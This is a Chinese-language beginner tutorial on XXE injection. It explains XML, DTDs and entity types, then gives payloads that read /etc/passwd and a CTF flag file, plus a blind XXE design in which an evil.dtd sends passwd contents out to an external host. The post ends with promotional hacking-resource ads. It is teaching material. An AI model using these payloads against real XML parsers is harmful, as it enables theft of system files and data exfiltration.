前言
这是晓晓给粉丝盆友们整理的网络安全渗透测试入门阶段文件XXE渗透与防御教程
本文主要讲解XXE漏洞漏洞及利用方法解析
喜欢的朋友们,记得给我点赞支持和收藏一下,关注我,学习黑客技术。
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
1、XML
XML设计用来传送及携带数据信息,不用来表现或展示数据,HTML则用来表现数据,所以XML用途的焦点是它说明数据是什么,以及携带数据信息。
基本语法
-
所有 XML 元素都须有关闭标签。
-
XML 标签对大小写敏感。
-
XML 必须正确地嵌套。
-
XML 文档必须有根元素。
-
XML 的属性值须加引号。
-
XML的注释和HTML一样
<!-- -->
下表列出了5个XML预定义实体. 通过名字引用这些实体的格式为&name;,例如, & 将绘制为&.
2、DTD
XML文件的文档类型定义(Document Type Definition)可以看成一个或者多个XML文件的模板,在这里可以定义XML文件中的元素、元素的属性、元素的排列方式、元素包含的内容等等。DTD可定义合法的XML文档构建模块
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (nuc,edu)><!--定义note元素有四个元素-->
<!ELEMENT nuc (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT edu (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
]>
<note>
<nuc>hello</nuc>
<edu>world</edu>
</note>
当使用外部DTD时,通过如下语法引入。
<!DOCTYPE root-element SYSTEM "filename">
外部DTD实例
<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<nuc>hello</nuc>
<edu>world</edu>
</note>
test.dtd
<!ELEMENT nuc (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT edu (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
-PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用&
<
>
实体来分别替换
-CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
DTD元素
DTD属性
属性声明使用以下语法
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD实例
<!ATTLIST nuc edu PCDATA "hello">
XML实例
<nuc edu="hello">
DTD实体
DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容.
内部实体例子
<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r "Hu3sky">
]>
<note>
<name>&hack3r;</name>
</note>
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
一个内部实体声明
<!ENTITY 实体名称 "实体的值">
例子
DTD:
<!ENTITY writer "me">
XML:
<author>&writer;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
参数实体
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % param1 "<!ENTITY internal 'http://darkerbox.com'>">//定义参数实体
%param1;//引用参数实体,引用后,值又被xml解析,则internal的值为http://darkerbox.com
]>
<root>
<test>[This is my site] &internal;</test>
</root>
通用实体
用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY test "this is xml" > // 在DTD中定义
]>
<cred>&test;</cred>//在xml文档中引用
参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
%name
(参数实体)是在DTD中被引用的,而&name;
是在xml文档中被引用的。
一个外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
例子
DTD:
<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">
XML:
<author>&writer;</author>
外部实体类型有
3、CDATA
CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,“<” 和 “&” 是非法的。“<” 会产生错误,因为解析器会把该字符解释为新元素的开始。“&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 “<![CDATA[" 开始,由 "]]>” 结束:
<?xml version="1.0" encoding="UTF-8"?>
<content><![CDATA[<html></html>]]></content>
结果
XXE主要是利用了DTD引用外部实体导致的漏洞。
具体利用方法:
引用外部实体远程文件读取
读取任意文件
jarvisoj上的一道题目API调用
这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包
发现了json数据,修改可以被解析。
将json数据改为xml数据,构造一个xml表单注入,得到flag
这里使用到了SYSTEM标识符,该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是file:///home/ctf/flag.txt
内的值。
Blind XXE
Blind XXE即无回显注入。
先看一段代码。
<?xml version="1.0"?>
<!DOCTYPE XXE[
<!ENTITY % passwd SYSTEM "/ect/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://example.com/?%passwd'>">
&wrapper
]>
<pwn>&send</pwn>
这样是passwd的值是传不过去的,不能在值中调用实体参数
解决办法
main.xml
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://example.com/evil.dtd">
<data>&send;</data>
evil.dtd
<!ENTITY % passwd SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://example.com/?%passwd'>">
%wrapper; //<!ENTITY send SYSTEM 'http://example.com/?CONTENTS_OF_PASSWD'>
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~